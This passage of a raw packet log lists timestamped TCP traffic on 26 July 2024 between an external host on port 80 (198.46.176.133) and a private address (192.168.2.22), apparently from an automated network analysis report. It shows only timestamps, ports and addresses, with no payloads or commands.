Jul 26, 2024 15:25:04.823163986 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.823179960 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.823179960 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.823209047 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.823971987 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.823985100 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.823995113 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.824006081 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.824017048 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.824028015 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.824038982 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.824048996 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.824049950 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.824048996 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.824063063 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.824107885 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.824563026 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.824594975 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.883948088 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.883991957 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.884007931 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.884018898 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.884063005 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.884253025 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.884265900 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.884277105 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.884289026 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.884299994 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.884324074 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.884584904 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.884598970 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.884609938 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.884619951 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.884629965 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.884639978 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.884641886 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.884653091 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.884660006 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.884664059 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.884694099 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.885180950 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.885193110 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.885201931 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.885212898 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.885222912 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.885225058 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.885236025 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.885246992 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.885693073 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.885704041 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.885715008 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.885725021 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.885735989 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.885739088 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.885750055 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.885759115 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.885782957 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.886198997 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.909502029 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.909550905 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.909564018 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.909564018 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.909619093 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.909881115 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.909893036 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.909904957 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.909915924 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.909928083 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.909941912 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.910079002 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.910167933 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.910180092 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.910203934 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.910454035 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.910496950 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.911756992 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.911770105 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.911781073 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.911792994 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.911801100 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.911844015 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.913606882 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.913736105 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.913748026 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.913781881 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.913835049 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.913846970 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.913857937 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.913868904 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.913876057 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.913902044 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.914236069 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914247036 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914258003 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914268970 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914275885 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.914279938 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914292097 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914302111 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.914303064 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914314985 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914325953 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.914330006 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914350033 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.914767981 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914782047 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914807081 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.914875031 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914885998 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914896965 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914907932 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914913893 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.914920092 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914931059 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914941072 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914942026 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.914953947 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914963961 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.914966106 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.914988041 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.915838003 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.915848970 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.915859938 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.915873051 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.915883064 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.915884018 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.915896893 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.915904999 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.915909052 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.915920019 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.915930986 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.915931940 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.915941000 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.915952921 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.915952921 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.915963888 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.915967941 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.915976048 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.916003942 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.916687965 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.916699886 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.916711092 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.916722059 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.916732073 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.916738033 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.916743040 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.916753054 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.916754007 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.916766882 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.916775942 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.916779041 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.916790962 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.916798115 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.916801929 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.916814089 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.916825056 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.916825056 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.916845083 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.917675018 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.917687893 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.917699099 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.917710066 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.917716980 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.917741060 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.917768955 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.917778969 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.917788982 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.917797089 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.917799950 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.917810917 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.917821884 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.917829037 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.917848110 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.917881966 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.974704981 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.974755049 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.974766970 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.974812984 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.974931002 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.974968910 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.974978924 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.974991083 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.975002050 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.975014925 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.975028992 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.975174904 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.975260973 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.975271940 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.975282907 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.975292921 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.975301027 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.975306988 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.975317001 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.976679087 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.976718903 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.976730108 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.976732969 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.976758003 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.976866007 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.976876974 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.976887941 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.976900101 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.976906061 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.976932049 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.977289915 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.977300882 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.977310896 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.977322102 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.977330923 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.977339983 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.977340937 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.977351904 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.977375984 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:04.977766037 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.977778912 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:04.977814913 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.000777960 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.000833988 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.000845909 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.000886917 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.001007080 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.001019001 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.001054049 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.001199007 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.001210928 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.001221895 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.001244068 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.001533031 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.001543999 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.001554966 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.001564980 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.001575947 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.001578093 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.001586914 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.001600981 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.001626015 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.006563902 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.006577969 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.006589890 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.006618977 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.006742001 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.006753922 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.006763935 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.006776094 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.006786108 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.006814003 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.007164001 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.007174969 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.007185936 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.007196903 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.007208109 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.007213116 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.007220984 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.007222891 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.007232904 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.007242918 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.007255077 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.007260084 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.007271051 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.007994890 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008008003 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008018970 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008028984 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008039951 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.008039951 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008054018 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.008054018 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008065939 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008075953 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008083105 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.008086920 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008105993 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.008872032 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008883953 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008893967 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008905888 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008915901 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008925915 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008930922 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.008938074 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008939028 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.008949995 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008960962 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008961916 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.008972883 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.008991003 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.009751081 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.009763002 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.009773016 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.009783030 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.009793043 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.009798050 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.009803057 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.009808064 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.009814024 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.009824991 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.009834051 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.009841919 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.009845018 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.009855032 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.009880066 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.010526896 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.010539055 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.010550022 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.010560036 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.010569096 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.010579109 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.010581970 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.010591984 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.010591984 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.010603905 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.010613918 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.010613918 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.010626078 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.010634899 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.010641098 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.010646105 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.010652065 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.010658026 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.010668039 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.010683060 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.010726929 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.010756016 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.011399984 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.011413097 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.011421919 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.011431932 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.011441946 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.011450052 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.011451960 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.011462927 CEST	80	49164	198.46.176.133	192.168.2.22
Jul 26, 2024 15:25:05.011470079 CEST	49164	80	192.168.2.22	198.46.176.133
Jul 26, 2024 15:25:05.011473894 CEST	80	49164	198.46.176.133	192.168.2.22
